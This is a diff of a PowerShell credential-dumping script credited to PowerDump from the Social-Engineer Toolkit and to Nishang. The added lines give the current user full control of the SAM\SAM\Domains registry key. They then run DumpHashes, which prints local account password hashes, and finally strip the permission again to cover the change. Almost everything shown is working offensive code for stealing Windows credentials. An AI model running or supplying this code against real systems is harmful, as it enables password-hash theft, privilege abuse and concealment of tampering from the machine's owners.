|
| 1 | +# PowerDump by David Kennedy Copyright 2014 The Social-Engineer Toolkit |
| 2 | +# https://github.com/trustedsec/social-engineer-toolkit |
| 3 | +# User Token Code by Nikhil Mitt ttps://github.com/samratashok/nishang |
1 | 4 | function LoadApi
|
2 | 5 | {
|
3 | 6 | $oldErrorAction = $global:ErrorActionPreference;
|
@@ -354,4 +357,26 @@ function DumpHashes
|
354 | 357 | [BitConverter]::ToString($hashes[1]).Replace("-","").ToLower());
|
355 | 358 | }
|
356 | 359 | }
|
| 360 | + |
| 361 | +#Set permissions for the current user. |
| 362 | +$rule = New-Object System.Security.AccessControl.RegistryAccessRule ( |
| 363 | +[System.Security.Principal.WindowsIdentity]::GetCurrent().Name, |
| 364 | +"FullControl", |
| 365 | +[System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit", |
| 366 | +[System.Security.AccessControl.PropagationFlags]"None", |
| 367 | +[System.Security.AccessControl.AccessControlType]"Allow") |
| 368 | +$key = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey( |
| 369 | +"SAM\SAM\Domains", |
| 370 | +[Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree, |
| 371 | +[System.Security.AccessControl.RegistryRights]::ChangePermissions) |
| 372 | +$acl = $key.GetAccessControl() |
| 373 | +$acl.SetAccessRule($rule) |
| 374 | +$key.SetAccessControl($acl) |
| 375 | + |
357 | 376 | DumpHashes
|
| 377 | + |
| 378 | +#Remove the permissions added above. |
| 379 | +$user = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name |
| 380 | +$acl.Access | where {$_.IdentityReference.Value -eq $user} | %{$acl.RemoveAccessRule($_)} | Out-Null |
| 381 | +Set-Acl HKLM:\SAM\SAM\Domains $acl |
| 382 | + |
0 commit comments